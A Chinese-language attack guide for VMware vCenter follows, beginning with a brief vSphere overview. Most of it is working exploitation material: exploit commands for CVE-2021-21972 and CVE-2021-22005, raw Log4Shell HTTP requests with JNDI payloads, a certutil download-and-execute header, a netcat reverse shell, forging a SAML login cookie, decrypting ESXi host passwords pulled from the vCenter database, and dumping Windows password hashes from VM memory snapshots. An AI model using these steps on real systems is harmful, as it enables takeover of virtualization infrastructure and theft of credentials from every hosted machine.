VMware Inc. 是一家軟件公司。它開發了許多產品,尤其是各種云解決方案 。他的云解決方案包括云產品,數據中心產品和桌面產品等。
vSphere 是在數據中心產品下的一套軟件。vSphere 類似微軟的 Office 辦公套件,Office 辦公套件包含了許多軟件如Word, Excel, Access 等。和 Office 一樣,vSphere 也是一個軟件的集合。他包括了 vCenter, ESXi 和 vSphere 等。所以,這些軟件聯合起來就是 vSphere。vSphere 不是一個你可以安裝使用的軟件。它只是一個包含其它組件的集合。
ESXi, vSphere client 和 vCeneter 都是 vSphere 的組件。ESXi是 vSphere 中最重要的一個組件。ESXi 是虛擬化服務。所有的虛擬機都是運行在 ESXi 服務上面。為了安裝,管理和訪問這些虛擬機,你需要另外的 vSphere 套件,也就是 vSphere client 或 vCenter。vSphere client允許管理員訪問 ESXi 服務并管理虛擬機。vSphere client 是安裝在客戶機(也就是管理員的筆記本)上面。vSphere client 被用來連接 ESXi 服務器和管理任務。那么什么是 vCenter?為什么虛擬它?嘗試下在沒有 vCenter server 的時候,只用 vSphere client 來克隆存在的虛擬機。
0x01 指紋特征
title="+ ID_VC_Welcome +"

0x02 查看Vcenter版本
/sdk/vimServiceVersions.xml

0x03 CVE-2021-21972
影響范圍
- vCenter Server7.0 < 7.0.U1c
- vCenter Server6.7 < 6.7.U3l
- vCenter Server6.5 < 6.5.U3n
/ui/vropspluginui/rest/services/uploadova
訪問上面的路徑,如果404,則代表不存在漏洞,如果405 則可能存在漏洞

windows機器:
漏洞利用:https://github.com/horizon3ai/CVE-2021-21972
python CVE-2021-21972.py -t x.x.x.x -p ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport\gsl.jsp -o win -f gsl.jsp -t (目標地址) -f (上傳的文件) -p (上傳后的webshell路徑,默認不用改)

上傳后的路徑為
https://x.x.x.x/statsreport/gsl.jsp
完整路徑為
C:/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport

Linux機器:
1、寫公私鑰(需要22端口開放)
python3 CVE-2021-21972.py -t x.x.x.x -p /home/vsphere-ui/.ssh/authorized_keys -o unix -f id_rsa_2048.pub
2、遍歷寫shell(時間較久)
https://github.com/NS-Sp4ce/CVE-2021-21972

0x04 CVE-2021-22005
影響范圍
- vCenter Server 7.0 < 7.0 U2c build-18356314
- vCenter Server 6.7 < 6.7 U3o build-18485166
- Cloud Foundation (vCenter Server) 4.x < KB85718 (4.3)
- Cloud Foundation (vCenter Server) 3.x < KB85719 (3.10.2.2)
- 6.7 vCenters Windows版本不受影響
漏洞利用
https://github.com/r0ckysec/CVE-2021-22005
cve-2021-22005_exp_win.exe -u https://x.x.x.x --shell

https://github.com/rwincey/CVE-2021-22005/blob/main/CVE-2021-22005.py
python cve-2021-22005.py -t https://x.x.x.x

連接webshell
https://x.x.x.x/idm/..;/test.jsp

上傳后的webshell完整路徑為
/usr/lib/vmware-sso/vmware-sts/webapps/ROOT/xx.jsp
0x05 CVE-2021-44228
利用log4j漏洞,漏洞觸發點為XFF頭部
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.137
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
DNSlog探測漏洞是否存在
X-Forwarded-For: ${jndi:ldap://9qphlt.dnslog.cn}

使用 JNDIExploit 工具,-u 查看可執行命令

漏洞利用:
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPSIP
X-Forwarded-For: ${jndi:ldap://VPSIP:1389/TomcatBypass/TomcatEcho}
cmd:


cs上線
GET /websso/SAML2/SSO/vsphere.local?SAMLRequest= HTTP/1.1
Host: 192.168.121.142
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Dnt: 1
cmd: certutil -urlcache -split -f http://VPS C:\Users\Public\1.exe && C:\Users\Public\1.exe
X-Forwarded-For: ${jndi:ldap://VPS:1389/TomcatBypass/TomcatEcho}
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close

Linux使用反彈shell命令
nc -e /bin/sh 10.10.10.10 8888 nc -lvp 8888
彈回來若是非交互式shell沒有回顯,使用以下命令切換為交互式
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'

0x06 獲取vcenter-web控制臺權限
重置密碼
比較快的一種方法,但是修改之后無法獲取原來的密碼,管理員會發現密碼被改
選擇 3 選項,輸入默認 administrator@vsphere.local (需要管理員權限)
#Linux /usr/lib/vmware-vmdir/bin/vdcadmintool #Windows C:\Program Files\Vmware\vCenter Server\vmdird\vdcadmintool.exe

cookie登錄
通過解密數據庫登錄獲取cookie,再用cookie登錄web
解密腳本:https://github.com/horizon3ai/vcenter_saml_login
python vcenter_saml_login.py -p data.mdb -t 10.9.16.11
然后會生成相應的cookie,訪問 ui 路徑進行 cookie 替換即可
#Linux /storage/db/vmware-vmdir/data.mdb #windows C:\ProgramData\VMware\vCenterServer\data\vmdird\data.mdb

使用小餅干替換cookie,成功登錄

windows運行腳本需要安裝對應版本的python-ldap
https://www.lfd.uci.edu/~gohlke/pythonlibs/#python-ldap1 pip install python_ldap-3.4.0-cp38-cp38-win_amd64.whl pip install -r requirements.txt


實際測試過程中發現windows的data.mdb文件過大,拉回來不是那么方便,適合Linux機器

這時候如果目標機器上裝有python環境,可使用3gstudent師傅的腳本進行利用
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_ExtraCertFromMdb.py
python vCenter_ExtraCertFromMdb.py data.mdb

運行腳本會生成三段證書文件,放置到相應的位置
https://github.com/3gstudent/Homework-of-Python/blob/master/vCenter_GenerateLoginCookie.py
python vCenter_GenerateLoginCookie.py 192.168.121.135 192.168.121.135 vsphere.local idp_cert.txt trusted_cert_1.txt trusted_cert_2.txt

不重置獲取密碼(ESXI)
查看域
#Linux /usr/lib/vmware-vmafd/bin/vmafd-cli get-domain-name --server-name localhost #windows C:\Program Files\VMware\vCenter Server\vmafdd\vmafd-cli get-domain-name --server-name localhost C:\PROGRA~1\VMware\"vCenter Server"\vmafdd\vmafd-cli get-domain-name --server-name localhost
坑點:由于路徑中間存在空格,導致識別不了

解決方法:使用雙引號對含有空格的路徑進行單獨處理

1、獲取解密key
#Windows type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\ssl\symkey.dat #Linux cat /etc/vmware-vpx/ssl/symkey.dat

2、獲取數據庫賬號密碼
vcenter默認數據庫文件存放在vcdb.properties,配置文件中有數據庫的明文賬號密碼
#Linux cat /etc/vmware-vpx/vcdb.properties cat /etc/vmware/service-state/vpxd/vcdb.properties #Windows type C:\ProgramData\VMware\"VMware VirtualCenter"\vcdb.properties type C:\ProgramData\VMware\vCenterServer\cfg\vmware-vpx\vcdb.properties


默認是postgresql數據庫,只能在vCenter服務器本地登錄,執行語句查詢ESXI的密碼
#psql默認存放位置 Windows: C:\Program Files\VMware\vCenter Server\vPostgres\bin\psql.exe Linux: /opt/vmware/vpostgres/9.3/bin/psql #執行語句查詢 psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc #執行完會輸出一段加密字段 Command> shell psql -h 127.0.0.1 -p 5432 -U vc -d VCDB -c "select ip_address,user_name,password from vpx_host;" > password.enc Shell access is granted to root Password for user vc: ip_address | user_name | password -------------+-----------+--------------------------------------------------------------------------------------- 192.168.1.1 | vpxuser | *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg== 192.168.1.2 | vpxuser | *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q== 192.168.1.3 | vpxuser | *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw== 192.168.1.4 | vpxuser | *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA== (4 rows) #只保留password字段 *H8BBiGe3kQqaujz3ptZvzhWXXZ0M6QOoOFIKL0p0cUDkWF/iMwikwt7BCrfEDRnXCqxoju4t2fsRV3xNMg== *zR20RvimwMPHz7U6LJW+GnmLod9pdHpdhIFO+Ooqk0/pn2NGDuKRae+ysy3rxBdwepRzNLdq6+paOgi54Q== *Q81OIBXziWr0orka0j++PKMSgw6f7kC0lCmITzSlbl/jCDTuRSs07oQnNFpSCC6IhZoPPto5ix0SccQPDw== *R6HqZzojKrFeshDIP8vXPMhN28mLDHiEEBSXWYXNHrQQvHcuLOFlLquI2oLRfqLiPlHwkmAxUj9hKj3VZA==
在實際情況中也碰到使用 MSSQL 數據庫的情況,這時候直接使用 navicat 進行連接,搜索 VPX_HOST 表


3、使用腳本解密
https://github.com/shmilylty/vhost_password_decrypt
- password字段放到password.enc里面
- symkey.dat為第一步獲取的解密key

python decrypt.py symkey.dat password.enc password.txt
執行腳本后,會輸出一個password.txt,里面存放著對應 ip_address 的 ESXI 機器密碼
4、登錄ESXI
在 ESXI 機器地址后面添加 /ui ,訪問web控制臺,賬密為 vpxuser/password.txt里的密碼


解密出來的密碼除了可以登錄web控制臺以外還可以ssh登錄機器,不過需要服務里開啟 SSH 安全shell


0x07 獲取虛擬機權限
登錄web控制臺后,想要獲取某個虛擬機的權限,比如說目標系統為靶標
選擇目標虛擬機,操作生成快照

到數據存儲位置找到相應的快照文件

也可以通過 ssh 登錄ESXI服務器上,通過 find 找出相應的 vmem 和 vmsn 文件拷貝到本地
find / -name "*.vmem"

https://www.volatilityfoundation.org/releases
使用 volatility 工具查看 profile
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem imageinfo

讀取注冊表
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hivelist

獲取hash并解出密碼
volatility_2.6_win64_standalone.exe -f WindowsServer2008r2.vmem --profile=Win7SP1x64 hashdump -y 0xfffff8a000024010 -s 0xfffff8a00084c010


看雪學苑
D1Net
安全圈
合天網安實驗室
瀟湘信安
安全圈
D1Net
一顆小胡椒
系統安全運維
GoUpSec
虹科網絡安全
系統安全運維